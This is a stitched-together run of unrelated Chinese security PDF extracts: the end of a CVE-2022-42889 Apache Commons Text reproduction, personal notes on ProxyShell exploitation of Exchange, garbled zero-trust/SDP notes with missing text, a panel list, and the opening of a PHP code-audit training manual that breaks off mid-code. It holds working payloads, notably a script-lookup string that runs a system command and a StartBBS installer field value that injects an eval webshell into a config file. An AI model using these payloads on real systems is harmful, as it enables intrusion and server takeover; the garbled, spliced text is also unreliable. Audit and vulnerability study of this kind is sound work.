Objects.toString(scriptEngine.eval(script), (St ring)null); } } catch (Exception var7) { throw IllegalArgumentExceptions.format(var7, "Error in scr ipt engine [%s] evaluating script [%s].", new Object[]{engineName, script} ); } } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Java 复制代码 ${script:js:java.lang.Runtime.getRuntime().exec("calc")} 1 Plain Text 复制代码 5 pom.xml 添加如下依赖 CVE_2022_42889.java 执⾏截图 漏洞复现 <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text - -> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.9</version> </dependency> 1 2 3 4 5 6 Plain Text 复制代码 package cve.test; import org.apache.commons.text.StringSubstitutor; public class CVE_2022_42889 { public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpola tor(); interpolator.replace("${script:js:java.lang.Runtime.getRuntime().e xec(\"calc\")}"); } } 1 2 3 4 5 6 7 8 9 10 11 Java 复制代码 6 官⽅给出的修复⽅案是更新 Apache Commons Text 1.10.0 定位⾄ org.apache.commons.text.lookup.StringLookupFactory 中的 DefaultStringLookupsHolder#createDefaultStringLookups 在创建时就将危险的 lookup 排除在外 漏洞防御
pdf
#Proxyshell# 个人记录 目前 proxyshell 实战中遇到最多的问题有两种。一个是 powershell 端点获取问题,一个是获 取 cmdlet 可执行端点后 get webshell 中间遇到的坑。 一、powershell 端点获取问题 目前大部分人利用 poc 时都是使用 administrator 测试是不是存在可以利用的 powershell 端 点,获取不到爆破邮箱。这里使用头像哥思路可花较少时间获取 ps Exhange 的权限。 1. 原始 poc 浅析 https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell.py 结合最先公开的 poc(此 poc 大量参考斗象文章)中的部分点,分析下它的利用链和实际遇到 的问题。Poc 执行后首先获取 LegacyDN 而后获取 sid 最后生成 token,获取的前提是输入的 邮箱必须是存在的邮箱否则会报五百错误。 生成完毕 token 后第二个红色箭头处会停留等待输入命令。需要注意的是程序运行到此处只 是生成了 token 并没有验证 token 是否具有远程权限。 Shell 函数获取用户输入后才会发起认证,进入函数后第一个红色箭头处 wsman 将帮助我们 发起认证格式为 Kerberos 的请求,并执行命令(发起的请求还会经过 PwnServer 类处理)。认 证过程中如果指定邮箱没有 Exchange Online PowerShell 权限时会报错如下。 有权限将会获取输入的命令执行结果。以上是原 poc 的执行流程。 2. 另一新公开的 poc 分析 https://github.com/ktecv2000/ProxyShell 原理类似所以略过分析,该脚本针对部分环境存在问题。如果 rid 不是 500 强制修改 rid 为 500 当它打印出[Stage 3] Accessing /Powershell Endpoint 时实际此时在部分环境下不会成功 认证,但此处还会打印完成认证没有写好处理逻辑问题,也可能作者只打了自己搭建的 exchange 他没有发现这一问题。 为了清楚的看到它是否真的通过 wsman 认证成功,我们首先替换 pypsrp 库的 wsman.py 文 件为该 poc 作者自己写的 wsman.py,再给它发送的 requests 请求加上代理,看下究竟是什 么样的回显。 执行后于 burp 看到回显如下。 可以看到实际上它是根本没有验证成功,查询该问题。 https://windowstechpro.com/the-user-isnt-assigned-to-any-management-roles-error/ https://serverfault.com/questions/100311/how-do-i-resolve-user-isnt-assigned-to-any-managem ent-roles-error-in-exchange 大概得知是因为域管未加入 exchange Organization Management 组造成,所以此脚本 及其他类似思路的 poc 或脚本,只适用于目标环境恰好存在 rid500 域管在该组的情况 下,否则都会失败。 到这里也能解决一个迷思,有个好兄弟很坚定认为说如果你都不是域管你怎么去导出 邮件,给我一顿嘲讽。这里我们知道域管与 exchange 管理员是分离的,并没有必然 联 系 。 即 使 rid 为 500 域 管 理 员 也 会 失 败 所 以 根 源 问 题 应 该 是 用 户 是 不 是 在 Organization Management 组中。 至于为何产生这种情况,在其他类似问题的解答里看到,似乎是安装 exchange 时用 户不是对应的域管造成,应该是属于安装问题。而其他尤其是高版本 exchange 的可 能有所更新,已经避免了此问题,目前真实环境中未遇到非 exchange15 的存在这个 问题。 这个情况也通用于其他类似脚本,原理是一样的。所以部分朋友认为修改 rid500 就能 通杀所有目标环境的是完全的美好幻想。 二、Get shell 问题 很多环境都存在 rid500 可以打的情况,其 cmdlet 命令集支持所有的命令如 certificate、设置 导出权限就是直接 shell。 但是实际过程中发现遇到 exchange15 的环境,使用的账户拥有访问 powershell 端点的权限, 但是 cmdlet 支持不全。这个用之前头像哥的思路去获取到所有成员,再自行测试其是否是 管理员去打目前还未成功,没能实锤这种情况究竟是版本问题还是权限问题。如果后面可以 解决这个问题可能会达到通杀的效果。 Ref: https://docs.microsoft.com/zh-cn/exchange/troubleshoot/hybrid-configuration-wizard-errors/us er-not-assigned-to-any-management-roles https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security- identifiers
pdf
0x00 IDAburp 1. 2. 3. 4. vpnvpn 0x01 1. IAM 2. idedr 3. 4. ipurl wafids 5. 0x02 1. SDP 2. NIST 3. SDP SDP SDPSDP SDPSDPSDP agentagentSDP iptablesipSDP agentipiptablesip SDP NIST NIST (PDP)(PEP) NISTISOAccess management-AMPDPPEP NISTPDP/PEP NISTPDPSDPPEPSDPagent 0x03 sxfatrustatrustvpn VPN ip vpn vpn atrustedrsdk atrustmacID edr atrust edrwafhips atrustatrustvpnvpn vpn agent atrustsdp atrust 0x04 vpn vpnvpn vpnweb web vpnvpnipvpn sslvpnatrust sslvpnvpnvpn SPA 1. udpudpip 2. ssl atrust SPA SDP 0x05 POP sasecdn pop poppopatrust poppop
pdf
§  David Mortman, enStratus §  Rob Graham, ErrataSec §  Dave Maynor, ErrataSec §  Chris Hoff, Juniper §  James Arlen, Liquid Matrix §  Larry Pesce, PaulDotCom §  Rich Mogull, Securosis Fail Panel Five
pdf
PHP 代码审计 培训教材 路虽远,行则必达。 - 2 - 目录 代码审计基础........................................................................... - 4 - 代码审计概念.................................................................................- 4 - 需要了解一些函数.........................................................................- 6 - 需要了解的超全局变量.................................................................- 7 - 审计之初.......................................................................................- 11 - 如何进行漏洞挖掘.......................................................................- 13 - 一些代码审计工具介绍...............................................................- 16 - 重装漏洞................................................................................. - 20 - 开源轻论坛 StartBBS 前台 getshell............................................ - 20 - Simple-Log 博客系统全版本重安装漏洞................................... - 25 - SQL 注入漏洞..........................................................................- 30 - WiiNews(Mobile 新闻系统).........................................................- 31 - tpshop 注入.................................................................................. - 34 - 74CMS 人才系统注入全版本通杀进后台....................................- 37 - iSiteCMS 几处注射漏洞...................................................................- 43 - PHPYun XML 实体注入................................................................ - 48 - cmseasy 无限制报错注入...........................................................- 63 - 文件包含................................................................................. - 67 - phpcms2008 本地文件包括及利用.............................................- 69 - simple-log 后台任意文件读写漏洞............................................ - 70 - 易酷 cms 本地包含导致 getwebshell.........................................- 72 - 远程命令执行......................................................................... - 81 - 惠尔顿上网行为管理系统命令执行...........................................- 81 - 上海格尔安全认证网关管理系统命令执行......................... - 85 - 文件上传漏洞......................................................................... - 93 - 任意上传漏洞原理.................................................................. - 95 - 《DVWA 的分析与测试 7(File Upload)》.................................. - 99 - 中国联通客服平台任意文件上传.............................................- 104 - 用友 ICC 网站客服系统任意文件上传漏洞...........................- 107 - - 3 - 泛微 Eoffice 任意文件上传...................................................... - 109 - 后门....................................................................................... - 113 - EcShop 官方补丁存后门............................................................- 113 - panabit 高危漏洞合集...............................................................- 114 - 逻辑错误............................................................................... - 117 - Espcms 后台逻辑验证错误漏洞............................................... - 117 - cmseasy 逻辑缺陷可升级普通用户为管理员................... - 121 - PHPCMS 设计缺陷可重置前台任意用户密码.....................- 126 - 密码相当............................................................................... - 131 - Espcms 加密函数缺陷导致 getshell......................................... - 131 - Tipask 2.0 加密函数破解导致任意用户密码修改..................- 143 - 越权访问............................................................................... - 147 - ThinkSNS 水平权限问题............................................................- 147 - Easytalk 垂直权限问题..............................................................- 152 - 代码执行............................................................................... - 156 - 初刻 Crucco 主站任意代码执行........................................... - 156 - 青云客 CMS 前台任意代码执行.............................................- 157 - getshell.................................................................................. - 162 - ThinkSNS getshell....................................................................... - 162 - 开源轻论坛 StartBBS 前台 getshell.......................................... - 169 - 蝉知企业门户系统 v2.5 前台 getshell....................................- 176 - qibocms 分类系统最新版 前台无限制 Getshell....................- 179 - 漏洞组合............................................................................... - 184 - 骑士漏洞组合可致所有数据泄露+getshell.................................. - 184 - - 4 - 代码审计基础 代码审计概念 代码审计,是对应用程序源代码进行系统性检查的工作。它的目的 是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻 辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。 代码审计不是简单的检查代码,审计代码的原因是确保代码能安全 的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流 程对于控制潜在的风险是非常重要的。 安全问题所在: 从代码级别上,也就是应用层次上考虑代码安全的话(也就是不 考虑底层的语言本身等问题的漏洞),脚本安全问题就是函数和变量 的问题。变量直接或者间接的接收用户不安全的的输入,由于 php 本 身的特性,在 php 中更容易发现这种变量的混乱(很多 php 程序都 用来定义以及初始化以及接收变量,可以直接在程序中使用$id 这样的 变量,初始化完全由 php 的设置来完成,如果稍不注意,就可能导致 变量的混乱从而导致攻击)。 变量接收不安全的输入之后,没有做恰当的过滤又用在不同的地 方,就可能造成不同的危害。如果直接进入数据库然后显示给用户就 会导致跨站脚本攻击,如果用在 sql 语句中就可能导致 Sql 注射攻击, 这几种攻击都是是与具体的脚本语言无关的,在各种脚本语言里都可 能存在。由于 php 的变量很灵活,这些有害的变量如果用在一些逻辑 语句中,就会导致关键代码的跳过如身份验证失败和跳过一些变量的 初始化从而导致程序逻辑混乱而产生其他漏洞。如果这个变量用在了 危险的函数如 include 等等当中,当然就会出现文件包含漏洞,出现 在 fopen 函数里就会可能产生写文件的漏洞,出现 - 5 - 在 mysql_query 函数中就是 Sql 注射漏洞,eval 以 及 preg_replace 中可能导致代码的执行,出现在 htmlspecia 函数中 可能导致出错而绝对路径泄露...... 变量出现的环境决定了它可能的危 害。 总结为: 1. 可以控制的变量【一切输入都是有害的 】 2. 变量到达有利用价值的函数[危险函数] 【一切进入函数的变量 是有害的】 思考了问题的存在,那么如何从代码级别上检查这种漏洞呢?当 然熟悉熟悉 php 语言是最基本的,也应该是抓住函数和变量,危险的 函数里如果有变量那么请确定这个变量的来源,是否正确的初始化, 初始化之后是否能被用户注入敏感字符,在进入函数前这些敏感的字 符是否得到了彻底的清除。对于代码审核工作的难点可能就在于对变 量来源的确定,这需要对 php 特性以及你所审核的代码的熟悉,但也 并不是所有的变量的来源都清晰可见,可能一些初始化的代码并没有 像想象中运行,一些变量里的东西可能也来自于你并不想他来的地方, 还有一些变量可能来自于数据库或者系统的配置文件,但是很可能数 据库和配置文件在之前就已经被修改,或者在后面不安全的操作了这 些变量,这些变量也是不可相信的。本文档就按照变量与函数的思路 来思考脚本代码的安全。 - 6 - 需要了解一些函数 1.常用输出函数 1.1 echo 输出一个字符串或变量,但是不能输出数组。 1.2 print_r() 输出一个数组。 1.3 var_dump() 输出一个变量的结构,这个变量包含普通变量,数组,对象等 2、获取当前进程所有变量/函数/常量/类 2.1 get_defined_vars(void) 此函数返回一个包含当前可用的变量列表的多维数组,这些变量包括 环境变量、服务器变量和用户定义的变量。 在函数中使用此函数可以调试函数中的变量,而不会返回其他的变量。 2.2 $GLOBALS 变量 此函数返回所有的全局变量,当然函数中定义的变量不是全局变量。 2.3 get_defined_functions(void) 获取所有已经定义的函数,包含内部函数和用户定义的函数。 输出用户定义的函数方法为: $hhh=get_defined_functions();var_dump($hhh['user']); 2.4 get_defined_constants(void) - 7 - 返回所有可用的常量,包含系统常量和用户定义的常量。 2.5 get_declared_classes(void) 返回所有可用的类,包含系统类和用户定义的类。 2.6 get_included_files() 返回所有的包含的文件路径的数组,included 和 required 的包含文 件 3、php 断点调试方法 3.1 exit 或 die 输出一个消息并退出程序执行。 需要了解的超全局变量 PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚 本的全部作用域中都可用。在函数或方法中无需执 行 global $variable; 就可以访问它们。 $GLOBALS $_SERVER $_REQUEST $_POST $_GET $_FILES $_ENV $_COOKIE $_SESSION - 8 - 1 $GLOBALS — 引用全局作用域中可用的全部变量 $GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变 量(从函数或方法中均可)。 PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量 的名字就是数组的键。 下面的例子展示了如何使用超级全局变量 $GLOBALS: 实例 <?php $x = 75; $y = 25; function addition() { $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y']; } addition(); echo $z; ?> 运行结果:95 在上面的例子中,由于 z 是 $GLOBALS 数组中的变量,因此在函数之 外也可以访问它。 2 $_SERVER $_SERVER 这种超全局变量保存关于报头、路径和脚本位置的信息。 下面的例子展示了如何使用 $_SERVER 中的某些元素: 实例 <?php echo $_SERVER['PHP_SELF']; echo "<br>"; echo $_SERVER['SERVER_NAME']; echo "<br>"; echo $_SERVER['HTTP_HOST']; echo "<br>"; echo $_SERVER['HTTP_REFERER']; - 9 - echo "<br>"; echo $_SERVER['HTTP_USER_AGENT']; echo "<br>"; echo $_SERVER['SCRIPT_NAME'];?> 运行结果: /example/php/demo_php_global_server.php www.0day5.com www.0day5.com http://www.0day5.com/tiy/s.asp?f=demo_php_global_server Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (K HTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 /example/php/demo_php_global_server.php 下表列出了您能够在 $_SERVER 中访问的最重要的元素: 元素/代码 描述 $_SERVER['PHP_SELF'] 返回当前执行脚本的文件名。 $_SERVER['GATEWAY_INTERFACE'] 返回服务器使用的 CGI 规范的版本。 $_SERVER['SERVER_ADDR'] 返回当前运行脚本所在的服务器的 IP 地址。 $_SERVER['SERVER_NAME'] 返回当前运行脚本所在的服务器的主机名(比 如 www.w3school.com.cn)。 $_SERVER['SERVER_SOFTWARE'] 返回服务器标识字符串(比如 Apache/2.2.24)。 $_SERVER['SERVER_PROTOCOL'] 返回请求页面时通信协议的名称和版本(例如, “HTTP/1.0”)。 $_SERVER['REQUEST_METHOD'] 返回访问页面使用的请求方法(例如 POST)。 $_SERVER['REQUEST_TIME'] 返回请求开始时的时间戳(例如 1577687494)。 $_SERVER['QUERY_STRING'] 返回查询字符串,如果是通过查询字符串访问此页面。 - 10 - $_SERVER['HTTP_ACCEPT'] 返回来自当前请求的请求头。 $_SERVER['HTTP_ACCEPT_CHARSET'] 返回来自当前请求的 Accept_Charset 头( 例 如 utf-8,ISO-8859-1) $_SERVER['HTTP_HOST'] 返回来自当前请求的 Host 头。 $_SERVER['HTTP_REFERER'] 返回当前页面的完整 URL(不可靠,因为不是所有用户代理 都支持)。 $_SERVER['HTTPS'] 是否通过安全 HTTP 协议查询脚本。 $_SERVER['REMOTE_ADDR'] 返回浏览当前页面的用户的 IP 地址。 $_SERVER['REMOTE_HOST'] 返回浏览当前页面的用户的主机名。 $_SERVER['REMOTE_PORT'] 返回用户机器上连接到 Web 服务器所使用的端口号。 $_SERVER['SCRIPT_FILENAME'] 返回当前执行脚本的绝对路径。 $_SERVER['SERVER_ADMIN'] 该值指明了 Apache 服务器配置文件中 的 SERVER_ADMIN 参数。 $_SERVER['SERVER_PORT'] Web 服务器使用的端口。默认值为 “80”。 $_SERVER['SERVER_SIGNATURE'] 返回服务器版本和虚拟主机名。 $_SERVER['PATH_TRANSLATED'] 当前脚本所在文件系统(非文档根目录)的基本路径。 $_SERVER['SCRIPT_NAME'] 返回当前脚本的路径。 $_SERVER['SCRIPT_URI'] 返回当前页面的 URI。 - 11 - 审计之初 审计流程 代码审计的目的是以挖掘到可以利用的漏洞,所以我们不必通篇 的去将代码完全看懂,但是在开始之前做一些准备还是必须,就像渗 透之前,我们也需要收集足够多的目标信息,利用工具和制定渗透计 划一样。 通常情况下在刚开始练习审计时,拿到一套源码,马上做的事情 就是,丢到工具里,去扫敏感的函数,然后去一个一个的回溯它,找 到入口点。但是,这样审计了几套源码,会发现这个方法很浪费时间, 因为每次都要在回溯过程中,不断的去寻找源码中定义的一些通用函 数。由于不了解整个源码的流程,导致在找这些通用函数的过 程中浪 费了很多的时间与精力。 所以,需要重新调整审计流程。在拿到源码之后,先从它开始的 地方(一般是根目录下的 index 文件)按照执行的顺序去读代码,一 直到它的初始化内容, 和基本功能实现完毕为止。这样,可以明确的 了解整套源码的结构,哪一种函数文件放在哪个文件夹下;知道通用 函数放在哪个文件中。这对我们在之后阅读“疑 似”有问题的代码时, 有很好的帮助,例如,在看到一个通用函数时,我们可以快速的切换 到通用函数文件,查找这个函数的实现代码。这个方法带来好处还有 好多,这里就不一一列出了。 审计了解 流程的优化可以帮助我们在之后审计的过程中,免去时间和精力 上不必要的浪费。而在深入阅读代码之前,了解整套代码的每一个功 能点,每一个输入框和他曾经出现的漏洞及相关修补方案,将会大大 提高我们在之后的审计效率。 - 12 - 在了解源码的每个功能时,如果你能够注意以观察 url 的变化,也许能 你在后面的阅读带代码过程中跳过很多没用的分支。 而在测试每一个输入框时,如果你仔细观察 HTML 源码中输入框的 id 或者 name,这也许能帮你在后面的审计过程中更快的定位到利用点。 尝试了解这套源码曾经出现过的漏洞,以及相关的修补方案,这 是代码审计中的一条不错的捷径。因为一套源码虽然可能不是一个人 完成的,但是它肯定是基于一 个框架的,为这套源码编码的程序员们 都会围绕着这个框架进行开发,他们肯定必须要遵守框架的规则,而 了解这些曾经出现过的这些漏洞,说不定可以发现他们所 共有的陋习。 如果你能够了解这些漏洞修补的详细细节,那就更好了,因为随着 Web 平台的升级变迁,或者新的技术出现,这些修补也许就会变成摆设。 制定计划 有计划地做事,这是一个很好的习惯。计划可以帮助我们明确我 们取得了什么样的成果就可以称之为成功,面临什么样的问题才可以 称之为失败。这样可以避免我们可能因为某天的情绪不佳而“果断” 的放弃,也可以避免我们将时间不断地投向一个不可能完成的任务。 我在代码审计学习过程中,总结有两点是在前期计划必须明确的。 1.要找什么样的漏洞 2.要花多长时间完成这次审计 明确找什么样的漏洞,能够方便我们在收集相关资料(如:引发 问题的函数字典)时的目标更精准,收集资料更全面。 确定整个审计的时间范围,一时间作为审计的量化标准,可以准确的 定位审计是否成功,当然,在不同的情况或者过程中,计划时间是可 以调整的。 - 13 - 如何进行漏洞挖掘 程序的本质是变量与函数,漏洞所依赖的也无法脱离这两个元素。 让我们先来看下漏洞形成的条件 1.可以控制的变量【一切输入都是有害的 】 2.变量到达有利用价值的函数[危险函数]【一切进入函数的变量是 有害的】 漏洞的利用效果最终也取决与函数的功能。所以我们在下面讲述 漏洞挖掘的过程中,也将围绕着这两个元素来展开。 我们提到漏洞形成的两大元素是可控变量,和可控变量能够进入 的函数。那么在漏洞挖掘中,我们也不外乎从这两个方向来开始。 从变量开始跟踪,我们就好像处在下图中圆形的位置,我们要处 理的“路”很多,但不是每条“路”都能到达三角形(函数)。 - 14 - 所以在一般的人工代码审计过程中,大都会选择查找危险函数, 然后根据危险函数中的变量回溯到传入变量的方式。 我们的审计方法也是偏向于通过函数查找变量,虽然这种方式效 果很好,但是我们也不应放过变量跟踪。如果你拥有一款不错的变量 跟踪自动化工具,那么你很幸运,不用花费很大的精力便可以完成这 个任务。如果你是手工审计的话,我建议,你在跟踪函数之前,收集 所有可控变量(参数)的“最终形态”(所谓最终形 态,就是用户通 过各种方式传入进程序经过各种处理后,等待调用时的形态)。这样 可以帮助我们能够在跟踪危险函数时,更快的确定,函数是否能被利 用。 如何跳出传统的思维 很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行 代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这 样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些 很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地 了。 - 15 - 没有绝对安全的代码,我们需要跳出传统的思维,来获得新的漏 洞。这也就是所谓的“跳出画来看画”,但是如何跳出来,这是我们 当前所要思考的地方。 变量跟踪自动化的可行性 在学习和练习代码审计的过程中,我们几乎没有发现一款能够进 行变量跟踪的自动工具,大多数都是搜索危险函数的工具。传统的代 码审计都是基于静态的,而变量跟踪需要动态的实现,这也是导致跟 踪变量,工作量大的主要原因。 基于这个问题,目前有个想法,可以在一款代码调试工具中添加 特定变量发生改变或进入某些函数之前运行暂停的功能。这样,我们 在代码审计的过程中便可以设定我们需要跟踪的可控变量,当其值发 生变化时,能够马上了解它的情况。 也可以制作一个脚本,能够罗列出特定变量所必须或者有可能经 历的函数。这样我们可以结合危险函数跟踪的结果进行交集的查找, 大大的提高了效率和效果。 暂停一下,全部是文字的话不是很无聊?就算我不是原创我也应 该整理的很好玩有规律的让大家愉快的阅读。那么。开启新世界大门: - 16 - 一些代码审计工具介绍 古语有云:工欲善其事,必先利其器。所以我们接下来要介绍几 款代码审计辅助工具给大家,可以让大家适当的减少工作量。 1.CodeScan 官方网站:www.codescan.com 这个比较老牌了。市面上流出的版本好像就是 1.6 和 1.9 的 crack, 商业软件,比较蛋疼。不过 GUI 界面操作起来很方便。 这里也不多说什么,主要是 Include 的提示设置,装过软件自己看看 就知道了。 2.RIPS 官方网站:rips-scanner.sourceforge.net PHP 写的,需要环境,直接解压到 wwwroot 就好了。不适合扫 描整个文件夹项目,或者要修改 PHP 配置,把代码执行超时的时间设 置大一点。 RIPS 对代码进行静态漏洞扫描的基本思想有两条: 1.对容易产生漏洞的函数进行跟踪(例如:mysql_query()) RIPS 认为,所有的注入漏洞最终都要经过一些特定的数据库操作 函数,mysql_query()或程序自定义的类函数,这些函数是产生漏洞的 - 17 - 导火索,只要对这些函数的控制流和参数流进行回溯扫描,就可以发 现大部分的代码漏洞。 2.对产生注入漏洞的源头即用户传输过来的数据流进行跟踪 ($_GET,$_POST,$_COOKIE) “用户输入的一切数据都有害”,大部分的注入漏洞,包括二次注入, 究其原因都是因为对用户的输入数据没有做好过滤,RIPS 对这些敏感 数据进行跟踪,并判断其在进入敏感函数(mysql_query())之前有没有 对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。 动态扫描加上静态定位,最终使我们能更容易的发现一些漏洞并及时 使其得到修补。 3.PHPXref 官方网站:phpxref.com 严格的说 PHPxref 也是做开发的好帮手,它能将某一个程序(如 Wordpress)中所有的函数、变量、常量等分类记录, 生成一个 HTML 网页列表,你可以轻松地在这个列表中找到某个函数 在什么位置被定义,在什么位置被引用。所以说非常适合大型项目。 - 18 - 同时还是最主要的,It’s free. 4. Seay 源代码审计系统 官网:www.cnseay.com 这是一款结合白盒跟黑盒的半自动化国产代码安全审计系统。 该版本只支持 PHP,近期会加上 ASPX、ASP、JSP 的代码审计功能, 并且实现 4 套规则的配置,另外还会加上自定义审计的扩展名,方便 灵活审计不同脚本代码。 别外两款开源的代码审计工具 https://github.com/dpnishant/raptor http://dpnishant.github.io/raptor/ https://github.com/wufeifei/cobra/ 练习题: - 19 - ()下列哪一种语法必须设置? A.<?php code; ?> B.<? code; ?> C.<script language="php"> Code; </script> D.<% Code; %> () php 是那种类型的语言 A.编译型 B.解释型 C.两都都是 D.两都都不是 $_POST $_GET $_REQUEST 含义? 什么是代码审计? 代码审计需要会开发吗? 在我遇到的一些人中,有些说要有些说不需要,这里不评论。 可在我 qq 空间留言你息怕想法,千万不要因为别人说什么就是什么。 搭一个自己的代码审计环境。 - 20 - 重装漏洞 首先拿到一份源码 肯定是先 install 上。 而在安装文件上又会经 常出现问题。 其他的基本都是通过生成一个 lock 文件 来判断程序是否安装过 了 如果存在这个 lock 文件了 就会退出了。 这里首先 先来说一下安 装文件经常出现的问题。 开源轻论坛 StartBBS 前台 getshell 作者:phith0n 安装好后发现根目录下多了一个 install.lock,一般的 cms 为了防止 被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚本的 时候,脚本会检测,如果目录下有这个文件就提示“请删除后再安装”。 原本应该是没有任何问题的。但我们来到安装脚本, /app/controllers/install.php 中,查看它是怎么处理的: class Install extends Install_Controller { function __construct () { parent::__construct(); $this->load->library('myclass'); $file=FCPATH.'install.lock'; if (file_exists($file)){ $this->myclass->notice('alert("系统已安装过 ");window.location.href="'.site_url().'";'); } } - 21 - 构造函数里检查是否存在 install.lock,然后用 javascript 的方式告诉 用户“系统已安装过”,然后跳转。但是这个脚本根本还没有结束嘛,这 个类里的函数都可以运行,并不因为返回了一个 window.location.href 就停止运行。(this->myclass->notice()中也没有停止运行的代码) 然后,在往下翻,就能看到安装的函数: public function step($step) { $data['step']=$step; if($step==1 || $step==2){ $data['permission'] = $this->_checkFileRight(); $this->load->view('install',$data); } if($step==3){ $this->_install_do(); } } function _install_do() { $data['step']=3; if($_POST){ $dbhost = $this->input->post('dbhost'); $dbport = $this->input->post('dbport'); $dbname = $this->input->post('dbname'); $dbuser = $this->input->post('dbuser'); $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):''; $dbprefix = $this->input->post('dbprefix'); $userid = $this->input->post('admin'); $pwd = md5($this->input->post('pwd')); $email = $this->input->post('email'); $sub_folder = '/'.$this->input->post('base_url').'/'; $conn = - 22 - mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd); if (!$conn) { die('无法连接到数据 库服务器,请检查用户名和密码是否正确'); } if($this->input->post('creatdb')){ if(!@mysql_query('CREATE DATABASE IF NOT EXISTS '.$dbname)){ die('指定的数据库('.$dbname.')系统尝试创建失败,请通过其他方式 建立数据库'); } } if(!mysql_select_db($dbname,$conn)){ die($dbname.'数据库不存在,请创 建或检查数据名.'); } $sql = file_get_contents(FCPATH.'app/config/startbbs.sql'); $sql = str_replace("sb_",$dbprefix,$sql); $explode = explode(";",$sql); $data['msg1']="创建表".$dbname."成功,请稍后……"; foreach ($explode as $key=>$value){ if(!empty($value)){ if(trim($value)){ mysql_query($value.";"); } } } $password = $pwd; $ip=$this->myclass->get_ip(); $insert= "INSERT INTO ".$dbprefix."users (group_type,gid,is_active,username,password,email,regtime,ip) VALUES ('0','1','1','".$userid."','".$password."','".$email."','".time()."','".$ip."')"; mysql_query($insert); - 23 - mysql_close($conn); $data['msg2']="安装完成,正在保存配置文件, 请稍后……"; $dbconfig = "."\$active_group = 'default';\n" ."\$active_record = TRUE;\n" ."\$db['default']['hostname'] = '".$dbhost."';\n" ."\$db['default']['port'] = '".$dbport."';\n" ."\$db['default']['username'] = '".$dbuser."';\n" ."\$db['default']['password'] = '".$dbpwd."';\n" ."\$db['default']['database'] = '".$dbname."';\n" ."\$db['default']['dbdriver'] = 'mysql';\n" ."\$db['default']['dbprefix'] = '".$dbprefix."';\n" ."\$db['default']['pconnect'] = TRUE;\n" ."\$db['default']['db_debug'] = TRUE;\n" ."\$db['default']['cache_on'] = FALSE;\n" ."\$db['default']['cachedir'] = 'app/cache';\n" ."\$db['default']['char_set'] = 'utf8';\n" ."\$db['default']['dbcollat'] = 'utf8_general_ci';\n" ."\$db['default']['swap_pre'] = '';\n" ."\$db['default']['autoinit'] = TRUE;\n" ."\$db['default']['stricton'] = FALSE;"; $file = FCPATH.'/app/config/database.php'; file_put_contents($file,$dbconfig); //保存 config 文件 if($sub_folder){ $this->config->update('myconfig','sub_folder', $sub_folder); } $encryption_key = md5(uniqid()); if($encryption_key){ $this->config->update('myconfig','encryption_key', $encryption_key); - 24 - } $data['msg3']="保存配 置文件完成!"; touch(FCPATH.'install.lock'); $data['msg4']="创建锁定安装文件 install.lock 成功"; $data['msg5']="安装 startbbs 成功!"; } $this->load->view('install',$data); } 当 step 函数的参数为 3 时,就执行安装函数_install_do(),这个函数 里初始化了数据库,并把数据库配置文件写入了 “/app/config/database.php”。于是,我们可以构造一下数据包直接 把一句话写入到这个配置文件里。 我们看到,这个函数接收了许多 post 数据: $dbhost = $this->input->post('dbhost'); $dbport = $this->input->post('dbport'); $dbname = $this->input->post('dbname'); $dbuser = $this->input->post('dbuser'); $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):''; $dbprefix = $this->input->post('dbprefix'); $userid = $this->input->post('admin'); $pwd = md5($this->input->post('pwd')); $email = $this->input->post('email'); $sub_folder = '/'.$this->input->post('base_url').'/'; 其中 dbhost、dbport、dbname、dbuser、dbpwd 都不能随便乱写, - 25 - 乱写的话安装就会出错,而 userid、pwd、email、sub_folder 都是写入 数据库的,不写入配置文件。所以就剩下 dbprefix 了,所以我们可以这 样构造这个字段: dbprefix=sb_';@eval ($_POST[101]);$xxx=' 安装的时候 Simple-Log 博客系统全版本重安装漏洞 作者:猪头子 在没有删除 install 文件夹的情况下,install/index.php 中用户可以 提交远程 mysql 账号和密码,导致 simple-log 会重新安装,由于 header() 函数并不会结束之后的代码,因此漏洞出现。 $setup=! empty($_POST['setup' ])?$_POST['setup']: 'check'; if (file_exists(PBBLOG_ROOT.'home/data/config.php' )) { require_once(PBBLOG_ROOT.'home/data/config.php' ); } //用户只要以 post 方式提交 setup=finish 就可进入安装流程 if ($install_lock&& $setup!='finish') { - 26 - //header 头并不会结束之后的代码,漏洞出在这里 header( 'location: ../index.php'); } elseif ($setup=='finish' ) { $error= array(); if (empty ($_POST['host'])) { $error[]= '请填写数据库地址' ; } if (empty ($_POST['dbname'])) { $error[]= '请填写数据库' ; } if (empty ($_POST['dbuser'])) { $error[]= '请填写数据库用户名' ; } if (empty ($_POST['admin_user'])) { $error[]= '请填写管理员账号' ; } if (empty ($_POST['admin_pass'])) { $error[]= '请填写管理员密码' ; } if (empty ($_POST['blogname'])) { $error[]= '请填写博客名字' ; } if ($error) { echo '错误信息'; foreach ($error as $val) - 27 - { echo "$val "; } exit; } //这里填写自己 mysql 数据库的连接信息 $dbhost=$_POST[ 'host']; $dbuser=$_POST[ 'dbuser']; $dbpw=$_POST[ 'dbpass']; $dbname=$_POST[ 'dbname']; $charset = 'utf8'; $db= new cls_mysql(); if ($db->connect($dbhost,$dbuser,$dbpw,$dbname,$charset, 